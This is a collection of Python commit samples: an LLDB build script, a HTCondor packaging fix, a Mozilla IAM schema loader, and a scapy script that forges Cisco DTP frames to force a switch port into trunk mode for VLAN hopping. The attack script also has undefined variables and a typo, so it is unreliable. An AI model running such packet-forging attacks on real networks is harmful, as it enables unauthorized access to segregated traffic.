def all_source_control_status():
    return source_control_status_for_specs(XCODE_REPOSITORIES())

def md5(string):
    m = hashlib.md5()
    m.update(string)
    return m.hexdigest()

def all_source_control_status_md5():
    return md5(all_source_control_status())

#### CHECKING OUT AND BUILDING LLVM ####

def apply_patches(spec):
    files = os.listdir(os.path.join(lldb_source_path(), 'scripts'))
    patches = [
        f for f in files if fnmatch.fnmatch(
            f, spec['name'] + '.*.diff')]
    for p in patches:
        run_in_directory(["patch",
                          "-p0",
                          "-i",
                          os.path.join(lldb_source_path(),
                                       'scripts',
                                       p)],
                         spec['root'])

def check_out_if_needed(spec):
    if (build_type() != BuildType.CustomSwift) and not (
            os.path.isdir(spec['root'])):
        vcs(spec).check_out()
        apply_patches(spec)

def all_check_out_if_needed():
    map(check_out_if_needed, XCODE_REPOSITORIES())

def should_build_llvm():
    if build_type() == BuildType.CustomSwift:
        return False
    if build_type() == BuildType.Xcode:
        # TODO use md5 sums
        return True

def do_symlink(source_path, link_path):
    print "Symlinking " + source_path + " to " + link_path
    if os.path.islink(link_path):
        os.remove(link_path)
    if not os.path.exists(link_path):
        os.symlink(source_path, link_path)

def setup_source_symlink(repo):
    source_path = repo["root"]
    link_path = os.path.join(lldb_source_path(), os.path.basename(source_path))
    do_symlink(source_path, link_path)

def setup_source_symlinks():
    map(setup_source_symlink, XCODE_REPOSITORIES())

def setup_build_symlink():
    source_path = package_build_path()
    link_path = expected_package_build_path()
    do_symlink(source_path, link_path)

def find_cmake():
    # First check the system PATH env var for cmake
    cmake_binary = find_executable_in_paths(
        "cmake", os.environ["PATH"].split(os.pathsep))
    if cmake_binary:
        # We found it there, use it.
        return cmake_binary

    # Check a few more common spots.  Xcode launched from Finder
    # will have the default environment, and may not have
    # all the normal places present.
    extra_cmake_dirs = [
        "/usr/local/bin",
        "/opt/local/bin",
        os.path.join(os.path.expanduser("~"), "bin")
    ]

    if platform.system() == "Darwin":
        # Add locations where an official CMake.app package may be installed.
        extra_cmake_dirs.extend([
            os.path.join(
                os.path.expanduser("~"),
                "Applications",
                "CMake.app",
                "Contents",
                "bin"),
            os.path.join(
                os.sep,
                "Applications",
                "CMake.app",
                "Contents",
                "bin")])

    cmake_binary = find_executable_in_paths("cmake", extra_cmake_dirs)
    if cmake_binary:
        # We found it in one of the usual places.  Use that.
        return cmake_binary

    # We couldn't find cmake.  Tell the user what to do.
    raise Exception(
        "could not find cmake in PATH ({}) or in any of these locations ({}), "
        "please install cmake or add a link to it in one of those locations".format(
            os.environ["PATH"], extra_cmake_dirs))

def cmake_flags():
    cmake_flags = CMAKE_FLAGS()[lldb_configuration()]
    cmake_flags += ["-GNinja",
                    "-DCMAKE_C_COMPILER={}".format(get_c_compiler()),
                    "-DCMAKE_CXX_COMPILER={}".format(get_cxx_compiler()),
                    "-DCMAKE_INSTALL_PREFIX={}".format(expected_package_build_path_for("llvm")),
                    "-DCMAKE_C_FLAGS={}".format(get_c_flags()),
                    "-DCMAKE_CXX_FLAGS={}".format(get_cxx_flags()),
                    "-DCMAKE_EXE_LINKER_FLAGS={}".format(get_exe_linker_flags()),
                    "-DCMAKE_SHARED_LINKER_FLAGS={}".format(get_shared_linker_flags()),
                    "-DHAVE_CRASHREPORTER_INFO=1"]
    deployment_target = get_deployment_target()
    if deployment_target:
        cmake_flags.append(
            "-DCMAKE_OSX_DEPLOYMENT_TARGET={}".format(deployment_target))
    return cmake_flags

def run_cmake(cmake_build_dir, ninja_binary_path):
    cmake_binary = find_cmake()
    print "found cmake binary: using \"{}\"".format(cmake_binary)

    command_line = [cmake_binary] + cmake_flags() + [
        "-DCMAKE_MAKE_PROGRAM={}".format(ninja_binary_path),
        llvm_source_path()]
    print "running cmake like so: ({}) in dir ({})".format(command_line, cmake_build_dir)

    subprocess.check_call(
        command_line,
        cwd=cmake_build_dir,
        env=cmake_environment())

def create_directories_as_needed(path):
    try:
        os.makedirs(path)
    except OSError as error:
        # An error indicating that the directory exists already is fine.
        # Anything else should be passed along.
        if error.errno != errno.EEXIST:
            raise error

def run_cmake_if_needed(ninja_binary_path):
    cmake_build_dir = package_build_path()
    if should_run_cmake(cmake_build_dir):
        # Create the build directory as needed
        create_directories_as_needed(cmake_build_dir)
        run_cmake(cmake_build_dir, ninja_binary_path)

def build_ninja_if_needed():
    # First check if ninja is in our path.  If so, there's nothing to do.
    ninja_binary_path = find_executable_in_paths(
        "ninja", os.environ["PATH"].split(os.pathsep))
    if ninja_binary_path:
        # It's on the path.  cmake will find it.  We're good.
        print "found ninja here: \"{}\"".format(ninja_binary_path)
        return ninja_binary_path

    # Figure out if we need to build it.
    ninja_build_dir = ninja_source_path()
    ninja_binary_path = os.path.join(ninja_build_dir, "ninja")
    if not is_executable(ninja_binary_path):
        # Build ninja
        command_line = ["python", "configure.py", "--bootstrap"]
        print "building ninja like so: ({}) in dir ({})".format(command_line, ninja_build_dir)
        subprocess.check_call(
            command_line,
            cwd=ninja_build_dir,
            env=os.environ)

    return ninja_binary_path

def build_script_flags():
    return BUILD_SCRIPT_FLAGS()[lldb_configuration(
    )] + ["swift_install_destdir=" + expected_package_build_path_for("swift")]

def join_dicts(dict1, dict2):
    d = dict1.copy()
    d.update(dict2)
    return d

def build_script_path():
    return os.path.join(swift_source_path(), "utils", "build-script")

def build_script_environment():
    return join_dicts(os.environ, BUILD_SCRIPT_ENVIRONMENT())

def build_llvm():
    subprocess.check_call(["python",
                           build_script_path()] + build_script_flags(),
                          cwd=lldb_source_path(),
                          env=build_script_environment())

def build_llvm_if_needed():
    if should_build_llvm():
        setup_source_symlinks()
        build_llvm()
        setup_build_symlink()

#### MAIN LOGIC ####

all_check_out_if_needed()
build_llvm_if_needed()
write_archives_txt()

sys.exit(0)
<|endoftext|>


<commit_before># -*- coding: utf-8 -*-
import logging
logging.getLogger("scapy.runtime").setLevel(logging.WARNING)

from scapy.all import *
from scapy.layers.l2 import *

from scapy.layers.l2 import LLC, STP, Dot3,SNAP
from scapy.all import sendp,sniff,get_if_hwaddr

# --------------------------------------------------------------------------
#
# --------------------------------------------------------------------------
def reciveValidPacket(interface):

    validPacket=False

    while not validPacket:

        pkt = sniff(stop_filter=lambda x: x.haslayer(SNAP), iface=interface)

        pk_list={x:y for x,y in pkt.sessions().iteritems() if "Other" in x}
        item=pk_list.popitem()
        pkts = item[1]

        for x in pkts:
            if SNAP in x:
                pSNAP = x
                break

        print pSNAP
        l_SNAP = pSNAP.getlayer(SNAP, nb=1)
        code = l_SNAP.code
        if code == 0x2004:
            ValidPacket = True

    print pkt
    return pkt

def run_attack(config):

    pkt=reciveValidPacket(config.interface[0])

    sendPackets(config.interface[0], pkt)

def sendPackets(interface,pkt):

    l_SNAP=pkt.getlayer(SNAP,nb=1)
    hexload= l_SNAP.load
    sload=str(hexload.encode('hex'))

    status=sload[36]+sload[37]
    hexstatus=status.decode('hex')

    for x in range (10,27):
        if(x % 2):
            str=sload[x]+sload[x+1]
            domain=domain+str.decode('hex')

    #status -> dynamic auto
    if hexstatus =='\x04':
        #datos del paquete
        newStatus='\x81' #trunk status
        myMAC=get_if_hwaddr(interface)
        hexMAC=myMAC.replace(':','\\x')
        newLoad='\x01\x00\x01\x00\r'+domain+'\x00\x02\x00\x05'+newStatus+'\x00\x03\x00\x05\xa5\x00\x04\x00\x0a'+myhexMAC
        #creacion del paquete
        p_dot3 = Dot3(dst='01:00:0c:cc:cc:cc', src=get_if_hwaddr(interface))
        p_llc=LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
        p_snap=SNAP(OUI=0x00000c, code=0x2004)
        p_raw =Raw(newLoad)
        pkt = p_dot3/p_llc/p_snap/p_raw
        sendp(pkt,loop=1,interval=30)

    #status -> desirable

    elif hexstatus == '\x03':

        newStatus=hexstatus
        newLoad='\x01\x00\x01\x00\r'+domain+'\x00\x02\x00\x05'+newStatus+'\x00\x03\x00\x05\xa5\x00\x04\x00\x0a'+myhexMAC
        #creacion del paquete
        p_dot3 = Dot3(dst='01:00:0c:cc:cc:cc', src=get_if_hwaddr(interface))
        p_llc=LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
        p_snap=SNAP(OUI=0x00000c, code=0x2004)
        p_raw =Raw(newLoad)
        pkt = p_dot3/p_llc/p_snap/p_raw
        sendp(pkt,count=3,interval=30)

        newStatus='\x81'
        newLoad='\x01\x00\x01\x00\r'+domain+'\x00\x02\x00\x05'+newStatus+'\x00\x03\x00\x05\xa5\x00\x04\x00\x0a'+myhexMAC
        #creacion del paquete
        p_dot3 = Dot3(dst='01:00:0c:cc:cc:cc', src=get_if_hwaddr(interface))
        p_llc=LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
        p_snap=SNAP(OUI=0x00000c, code=0x2004)
        p_raw =Raw(newLoad)
        pkt = p_dot3/p_llc/p_snap/p_raw
        sendp(pkt,loop=1,interval=30)

    #status -> trunk
    elif hexstatus == '\x81':
        newStatus='\x81'
        newLoad='\x01\x00\x01\x00\r'+domain+'\x00\x02\x00\x05'+newStatus+'\x00\x03\x00\x05\xa5\x00\x04\x00\x0a'+myhexMAC
        #creacion del paquete
        p_dot3 = Dot3(dst='01:00:0c:cc:cc:cc', src=get_if_hwaddr(interface))
        p_llc=LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
        p_snap=SNAP(OUI=0x00000c, code=0x2004)
        p_raw =Raw(newLoad)
        pkt = p_dot3/p_llc/p_snap/p_raw
        sendp(pkt,loop=1,interval=30)

    #status -> access
    elif hexstatus == '\x02':
        print 'switchport mode access, no se puede hacer nada'
        exit()

<commit_msg>update branch from documentation<commit_after><|endoftext|>


<commit_before>#
# File for taring up necessary daemons for glidein to run properly
#
# Note, we still need glidein_startup

import tarfile
import logging
import os
import sys
import shutil
import tempfile
from campus_factory.ClusterStatus import CondorConfig

DEFAULT_GLIDEIN_DAEMONS = [ 'condor_master', 'condor_procd', 'condor_startd', \
                            'condor_starter' ]

class DaemonWrangler:
    def __init__(self, daemons=None):
        """
        @param daemons: A list of daemons that will be included in the package
        """
        if daemons == None:
            self.daemons = DEFAULT_GLIDEIN_DAEMONS
        else:
            self.daemons = daemons

    def Package(self, name=""):
        if name == "":
            name = "share/glidein_jobs/glideinExec.tar.gz"

        # See if the daemons exist
        daemon_paths = self._CheckDaemons()
        if daemon_paths == None:
            logging.error("Unable to read all daemons, not packaging...")
            raise Exception("Unable to check all daemons")

        # Copy the daemons to a special directory to tar them
        tmpdir = tempfile.mkdtemp()
        target_dir = os.path.join(tmpdir, "glideinExec")
        os.mkdir(target_dir)
        for daemon_path in daemon_paths:
            shutil.copy(daemon_path, target_dir)

        tfile = None
        try:
            tfile = tarfile.open(name, mode='w:gz')
            tfile.add(target_dir)
            tfile.close()
        except IOError, e:
            logging.error("Unable to open package file %s" % name)
            logging.error(str(e))
            shutil.rmtree(tmpdir)
            raise e

        # Clean up the temporary file
        shutil.rmtree(tmpdir)

    def _CheckDaemons(self):
        """
        Make sure that the daemons that are supposed to be packaged are
        available and readable.
        """
        condor_config = CondorConfig()
        condor_sbin = condor_config.get("SBIN")
        logging.debug("Found SBIN directory = %s" % condor_sbin)
        daemon_paths = []
        for daemon in self.daemons:
            daemon_path = os.path.join(condor_sbin, daemon)
            logging.debug("Looking for daemon at: %s" % daemon_path)

            # Look for the daemons in the condor sbin directory.
            if os.path.exists(daemon_path):
                # Try opening the file
                fp = None
                try:
                    fp = open(daemon_path)
                    fp.close()
                    daemon_paths.append(daemon_path)
                except IOError, e:
                    logging.error("Unable to open file: %s" % daemon_path)
                    logging.error(str(e))
                    return None
            else:
                # If the file doesn't exist
                return None

        # Done checking all the daemons
        return daemon_paths

<commit_msg>Fixing archive naming<commit_after>#
# File for taring up necessary daemons for glidein to run properly
#
# Note, we still need glidein_startup

import tarfile
import logging
import os
import sys
import shutil
import tempfile
from campus_factory.ClusterStatus import CondorConfig

DEFAULT_GLIDEIN_DAEMONS = [ 'condor_master', 'condor_procd', 'condor_startd', \
                            'condor_starter' ]

class DaemonWrangler:
    def __init__(self, daemons=None):
        """
        @param daemons: A list of daemons that will be included in the package
        """
        if daemons == None:
            self.daemons = DEFAULT_GLIDEIN_DAEMONS
        else:
            self.daemons = daemons

    def Package(self, name=""):
        if name == "":
            name = "share/glidein_jobs/glideinExec.tar.gz"

        # See if the daemons exist
        daemon_paths = self._CheckDaemons()
        if daemon_paths == None:
            logging.error("Unable to read all daemons, not packaging...")
            raise Exception("Unable to check all daemons")

        # Copy the daemons to a special directory to tar them
        tmpdir = tempfile.mkdtemp()
        target_dir = os.path.join(tmpdir, "glideinExec")
        os.mkdir(target_dir)
        for daemon_path in daemon_paths:
            shutil.copy(daemon_path, target_dir)

        tfile = None
        try:
            tfile = tarfile.open(name, mode='w:gz')
            tfile.add(target_dir, arcname="glideinExec")
            tfile.close()
        except IOError, e:
            logging.error("Unable to open package file %s" % name)
            logging.error(str(e))
            shutil.rmtree(tmpdir)
            raise e

        # Clean up the temporary file
        shutil.rmtree(tmpdir)

    def _CheckDaemons(self):
        """
        Make sure that the daemons that are supposed to be packaged are
        available and readable.
        """
        condor_config = CondorConfig()
        condor_sbin = condor_config.get("SBIN")
        logging.debug("Found SBIN directory = %s" % condor_sbin)
        daemon_paths = []
        for daemon in self.daemons:
            daemon_path = os.path.join(condor_sbin, daemon)
            logging.debug("Looking for daemon at: %s" % daemon_path)

            # Look for the daemons in the condor sbin directory.
            if os.path.exists(daemon_path):
                # Try opening the file
                fp = None
                try:
                    fp = open(daemon_path)
                    fp.close()
                    daemon_paths.append(daemon_path)
                except IOError, e:
                    logging.error("Unable to open file: %s" % daemon_path)
                    logging.error(str(e))
                    return None
            else:
                # If the file doesn't exist
                return None

        # Done checking all the daemons
        return daemon_paths

<|endoftext|>


<commit_before>import json
import os
import os.path
import time
import requests
import requests.exceptions
import logging

from everett.ext.inifile import ConfigIniEnv
from everett.manager import ConfigManager
from everett.manager import ConfigOSEnv

logger = logging.getLogger(__name__)

def get_config():
    return ConfigManager(
        [ConfigIniEnv([os.environ.get("CIS_CONFIG_INI"), "~/.mozilla-cis.ini", "/etc/mozilla-cis.ini"]), ConfigOSEnv()]
    )

class DotDict(dict):
    """
    Convert a dict to a fake class/object with attributes, such as:
    test = dict({"test": {"value": 1}})
    test.test.value = 2
    """

    def __init__(self, *args, **kwargs):
        dict.__init__(self, *args, **kwargs)
        try:
            # Python2
            for k, v in self.iteritems():
                self.__setitem__(k, v)
        except AttributeError:
            # Python3
            for k, v in self.items():
                self.__setitem__(k, v)

    def __getattr__(self, k):
        try:
            return dict.__getitem__(self, k)
        except KeyError:
            raise AttributeError("'DotDict' object has no attribute '" + str(k) + "'")

    def __setitem__(self, k, v):
        dict.__setitem__(self, k, DotDict.__convert(v))

    __setattr__ = __setitem__

    def __delattr__(self, k):
        try:
            dict.__delitem__(self, k)
        except KeyError:
            raise AttributeError("'DotDict'  object has no attribute '" + str(k) + "'")

    @staticmethod
    def __convert(o):
        """
        Recursively convert `dict` objects in `dict`, `list`, `set`, and
        `tuple` objects to `DotDict` objects.
        """
        if isinstance(o, dict):
            o = DotDict(o)
        elif isinstance(o, list):
            o = list(DotDict.__convert(v) for v in o)
        elif isinstance(o, set):
            o = set(DotDict.__convert(v) for v in o)
        elif isinstance(o, tuple):
            o = tuple(DotDict.__convert(v) for v in o)
        return o

class MozillaDataClassification(DotDict):
    """
    See https://wiki.mozilla.org/Security/Data_Classification
    Just a simple object-enum - it returns all valid labels per level
    as a list/array.
    """

    UNKNOWN = ["UNKNOWN"]
    PUBLIC = ["PUBLIC"]
    MOZILLA_CONFIDENTIAL = ["MOZILLA CONFIDENTIAL", "Mozilla Confidential - Staff and NDA'd Mozillians Only"]
    WORKGROUP_CONFIDENTIAL = ["WORKGROUP CONFIDENTIAL", "Mozilla Confidential - Specific Work Groups Only"]
    INDIVIDUAL_CONFIDENTIAL = ["INDIVIDUAL CONFIDENTIAL", "Mozilla Confidential - Specific Individuals Only"]
    # Well-known Workgroups:
    WELL_KNOWN_WORKGROUPS = ["STAFF_ONLY"]
    STAFF_ONLY = ["WORKGROUP CONFIDENTIAL: STAFF ONLY"]

class DisplayLevel(DotDict):
    """
    Display levels for profile v2.
    """

    PUBLIC = "public"
    AUTHENTICATED = "authenticated"
    VOUCHED = "vouched"
    NDAED = "ndaed"
    STAFF = "staff"
    PRIVATE = "private"
    NULL = None

class WellKnown(object):
    """
    CIS JSON WellKnown and Schema loader with memory and disk cache and builtin fallback support.
    This object cannot fail to return the schema, but the schema is not garanteed to be up to date in case of network
    issues.

    Tries to get the well-known URL and schema from local cache if the cache has not expired.
    Else, tries to get the schema from well-known URL and cache it.
    Else, uses a library-builtin copy of schema.

    Return: dict Schema dictionary (can be converted to JSON)

    Ex:
    import cis_profile.common.WellKnown
    wk = WellKnown
    print(wk.get_schema())
    <Dict: schema>
    """

    def __init__(self, discovery_url="https://auth.mozilla.com/.well-known/mozilla-iam"):
        self._request_cache = "/tmp/cis_request_cache"  # XXX use `get_config` to configure that
        self._request_cache_ttl = 3600
        self._well_known_json = None
        self._schema_json = None
        self.discovery_url = discovery_url
        self.config = get_config()

    def get_publisher_rules(self):
        """
        Public wrapper for _load_rules
        """
        self._well_known_json = self.get_well_known()
        rules_url = self._well_known_json.get("publishers_rules_uri")
        return self.__cache_file(self._load_publisher_rules(rules_url), name="publisher_rules")

    def get_schema(self):
        """
        Public wrapper for _load_well_known()
        """
        self._well_known_json = self.get_well_known()
        schema_url = self._well_known_json.get("api").get("data/profile_schema")
        return self.__cache_file(self._load_schema(schema_url, stype="data/profile.schema"), name="schema")

    def get_core_schema(self):
        """ Deprecated """
        return self.get_schema()

    def get_extended_schema(self):
        """ Deprecated """
        return self.get_schema()

    def get_well_known(self):
        """
        Public wrapper for _load_well_known
        """
        return self.__cache_file(self._load_well_known(), name="well_known")

    def __cache_file(self, data, name):
        """
        @data json dict
        @name str name of the cached file, must be unique per file to cache
        returns json dict of @data
        """
        fpath = self._request_cache + "_" + name
        if not os.path.isfile(fpath) or (os.stat(fpath).st_mtime > time.time() + self._request_cache_ttl):
            logger.info(
                "Caching file (well-known endpoint) at {} for {} seconds".format(fpath, self._request_cache_ttl)
            )
            with open(fpath, "w+") as fd:
                fd.write(json.dumps(data))
            return data
        else:
            logger.info("Using cached file (well-known endpoint) at {}".format(fpath))
            with open(fpath, "r") as fd:
                ret = fd.read()
            return json.loads(ret)

    def _load_publisher_rules(self, rules_url):
        """
        Get the CIS integration rules
        """
        rules = None
        if rules_url is not None:
            try:
                r = requests.get(rules_url)
                rules = r.json()
            except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
                logger.debug("Failed to load rules data from rules_url {} ({})".format(rules_url, e))

        # Fall-back to built-in copy
        if rules is None:
            rules_file = "data/well-known/mozilla-iam-publisher-rules"
            if not os.path.isfile(rules_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + rules_file
            else:
                path = rules_file

            rules = json.load(open(path))
        return rules

    def _load_well_known(self):
        """
        Gets the discovery url's data ("well-known")
        Return dict,None the well-known JSON data copy
        """
        # Memory cache
        if self._well_known_json is not None:
            return self._well_known_json

        try:
            r = requests.get(self.discovery_url)
            self._well_known_json = r.json()
        except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
            logger.debug("Failed to fetch schema url from discovery {} ({})".format(self.discovery_url, e))
            logger.debug("Using builtin copy")
            well_known_file = "data/well-known/mozilla-iam"  # Local fall-back
            if not os.path.isfile(well_known_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + well_known_file
            else:
                path = well_known_file
            self._well_known_json = json.load(open(path))

        return self._well_known_json

    def _load_schema(self, schema_url, stype="data/profile.schema"):
        """
        Loads JSON Schema from an URL
        @schema_url: str,None the schema URL
        @stype: str, type of schema to load. This is also the name of the library builtin, local copy.
        Return dict JSON object which is the CIS Profile Schema
        """
        schema = None
        if schema_url is not None:
            try:
                r = requests.get(schema_url)
                schema = r.json()
            except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
                logger.debug("Failed to load schema from schema_url {} ({})".format(schema_url, e))

        # That did not work, fall-back to local, built-in copy
        if schema is None:
            # Builtin, hardcoded schema from library
            schema_file = stype
            if not os.path.isfile(schema_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + schema_file
            else:
                path = schema_file

            schema = json.load(open(path))
        return schema
<commit_msg>change cache logging to debug<commit_after>import json
import os
import os.path
import time
import requests
import requests.exceptions
import logging

from everett.ext.inifile import ConfigIniEnv
from everett.manager import ConfigManager
from everett.manager import ConfigOSEnv

logger = logging.getLogger(__name__)

def get_config():
    return ConfigManager(
        [ConfigIniEnv([os.environ.get("CIS_CONFIG_INI"), "~/.mozilla-cis.ini", "/etc/mozilla-cis.ini"]), ConfigOSEnv()]
    )

class DotDict(dict):
    """
    Convert a dict to a fake class/object with attributes, such as:
    test = dict({"test": {"value": 1}})
    test.test.value = 2
    """

    def __init__(self, *args, **kwargs):
        dict.__init__(self, *args, **kwargs)
        try:
            # Python2
            for k, v in self.iteritems():
                self.__setitem__(k, v)
        except AttributeError:
            # Python3
            for k, v in self.items():
                self.__setitem__(k, v)

    def __getattr__(self, k):
        try:
            return dict.__getitem__(self, k)
        except KeyError:
            raise AttributeError("'DotDict' object has no attribute '" + str(k) + "'")

    def __setitem__(self, k, v):
        dict.__setitem__(self, k, DotDict.__convert(v))

    __setattr__ = __setitem__

    def __delattr__(self, k):
        try:
            dict.__delitem__(self, k)
        except KeyError:
            raise AttributeError("'DotDict'  object has no attribute '" + str(k) + "'")

    @staticmethod
    def __convert(o):
        """
        Recursively convert `dict` objects in `dict`, `list`, `set`, and
        `tuple` objects to `DotDict` objects.
        """
        if isinstance(o, dict):
            o = DotDict(o)
        elif isinstance(o, list):
            o = list(DotDict.__convert(v) for v in o)
        elif isinstance(o, set):
            o = set(DotDict.__convert(v) for v in o)
        elif isinstance(o, tuple):
            o = tuple(DotDict.__convert(v) for v in o)
        return o

class MozillaDataClassification(DotDict):
    """
    See https://wiki.mozilla.org/Security/Data_Classification
    Just a simple object-enum - it returns all valid labels per level
    as a list/array.
    """

    UNKNOWN = ["UNKNOWN"]
    PUBLIC = ["PUBLIC"]
    MOZILLA_CONFIDENTIAL = ["MOZILLA CONFIDENTIAL", "Mozilla Confidential - Staff and NDA'd Mozillians Only"]
    WORKGROUP_CONFIDENTIAL = ["WORKGROUP CONFIDENTIAL", "Mozilla Confidential - Specific Work Groups Only"]
    INDIVIDUAL_CONFIDENTIAL = ["INDIVIDUAL CONFIDENTIAL", "Mozilla Confidential - Specific Individuals Only"]
    # Well-known Workgroups:
    WELL_KNOWN_WORKGROUPS = ["STAFF_ONLY"]
    STAFF_ONLY = ["WORKGROUP CONFIDENTIAL: STAFF ONLY"]

class DisplayLevel(DotDict):
    """
    Display levels for profile v2.
    """

    PUBLIC = "public"
    AUTHENTICATED = "authenticated"
    VOUCHED = "vouched"
    NDAED = "ndaed"
    STAFF = "staff"
    PRIVATE = "private"
    NULL = None

class WellKnown(object):
    """
    CIS JSON WellKnown and Schema loader with memory and disk cache and builtin fallback support.
    This object cannot fail to return the schema, but the schema is not garanteed to be up to date in case of network
    issues.

    Tries to get the well-known URL and schema from local cache if the cache has not expired.
    Else, tries to get the schema from well-known URL and cache it.
    Else, uses a library-builtin copy of schema.

    Return: dict Schema dictionary (can be converted to JSON)

    Ex:
    import cis_profile.common.WellKnown
    wk = WellKnown
    print(wk.get_schema())
    <Dict: schema>
    """

    def __init__(self, discovery_url="https://auth.mozilla.com/.well-known/mozilla-iam"):
        self._request_cache = "/tmp/cis_request_cache"  # XXX use `get_config` to configure that
        self._request_cache_ttl = 3600
        self._well_known_json = None
        self._schema_json = None
        self.discovery_url = discovery_url
        self.config = get_config()

    def get_publisher_rules(self):
        """
        Public wrapper for _load_rules
        """
        self._well_known_json = self.get_well_known()
        rules_url = self._well_known_json.get("publishers_rules_uri")
        return self.__cache_file(self._load_publisher_rules(rules_url), name="publisher_rules")

    def get_schema(self):
        """
        Public wrapper for _load_well_known()
        """
        self._well_known_json = self.get_well_known()
        schema_url = self._well_known_json.get("api").get("data/profile_schema")
        return self.__cache_file(self._load_schema(schema_url, stype="data/profile.schema"), name="schema")

    def get_core_schema(self):
        """ Deprecated """
        return self.get_schema()

    def get_extended_schema(self):
        """ Deprecated """
        return self.get_schema()

    def get_well_known(self):
        """
        Public wrapper for _load_well_known
        """
        return self.__cache_file(self._load_well_known(), name="well_known")

    def __cache_file(self, data, name):
        """
        @data json dict
        @name str name of the cached file, must be unique per file to cache
        returns json dict of @data
        """
        fpath = self._request_cache + "_" + name
        if not os.path.isfile(fpath) or (os.stat(fpath).st_mtime > time.time() + self._request_cache_ttl):
            logger.debug(
                "Caching file (well-known endpoint) at {} for {} seconds".format(fpath, self._request_cache_ttl)
            )
            with open(fpath, "w+") as fd:
                fd.write(json.dumps(data))
            return data
        else:
            logger.debug("Using cached file (well-known endpoint) at {}".format(fpath))
            with open(fpath, "r") as fd:
                ret = fd.read()
            return json.loads(ret)

    def _load_publisher_rules(self, rules_url):
        """
        Get the CIS integration rules
        """
        rules = None
        if rules_url is not None:
            try:
                r = requests.get(rules_url)
                rules = r.json()
            except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
                logger.debug("Failed to load rules data from rules_url {} ({})".format(rules_url, e))

        # Fall-back to built-in copy
        if rules is None:
            rules_file = "data/well-known/mozilla-iam-publisher-rules"
            if not os.path.isfile(rules_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + rules_file
            else:
                path = rules_file

            rules = json.load(open(path))
        return rules

    def _load_well_known(self):
        """
        Gets the discovery url's data ("well-known")
        Return dict,None the well-known JSON data copy
        """
        # Memory cache
        if self._well_known_json is not None:
            return self._well_known_json

        try:
            r = requests.get(self.discovery_url)
            self._well_known_json = r.json()
        except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
            logger.debug("Failed to fetch schema url from discovery {} ({})".format(self.discovery_url, e))
            logger.debug("Using builtin copy")
            well_known_file = "data/well-known/mozilla-iam"  # Local fall-back
            if not os.path.isfile(well_known_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + well_known_file
            else:
                path = well_known_file
            self._well_known_json = json.load(open(path))

        return self._well_known_json

    def _load_schema(self, schema_url, stype="data/profile.schema"):
        """
        Loads JSON Schema from an URL
        @schema_url: str,None the schema URL
        @stype: str, type of schema to load. This is also the name of the library builtin, local copy.
        Return dict JSON object which is the CIS Profile Schema
        """
        schema = None
        if schema_url is not None:
            try:
                r = requests.get(schema_url)
                schema = r.json()
            except (json.JSONDecodeError, requests.exceptions.ConnectionError) as e:
                logger.debug("Failed to load schema from schema_url {} ({})".format(schema_url, e))

        # That did not work, fall-back to local, built-in copy
        if schema is None:
            # Builtin, hardcoded schema from library
            schema_file = stype
            if not os.path.isfile(schema_file):
                dirname = os.path.dirname(os.path.realpath(__file__))
                path = dirname + "/" + schema_file
            else:
                path = schema_file

            schema = json.load(open(path))
        return schema
<|endoftext|>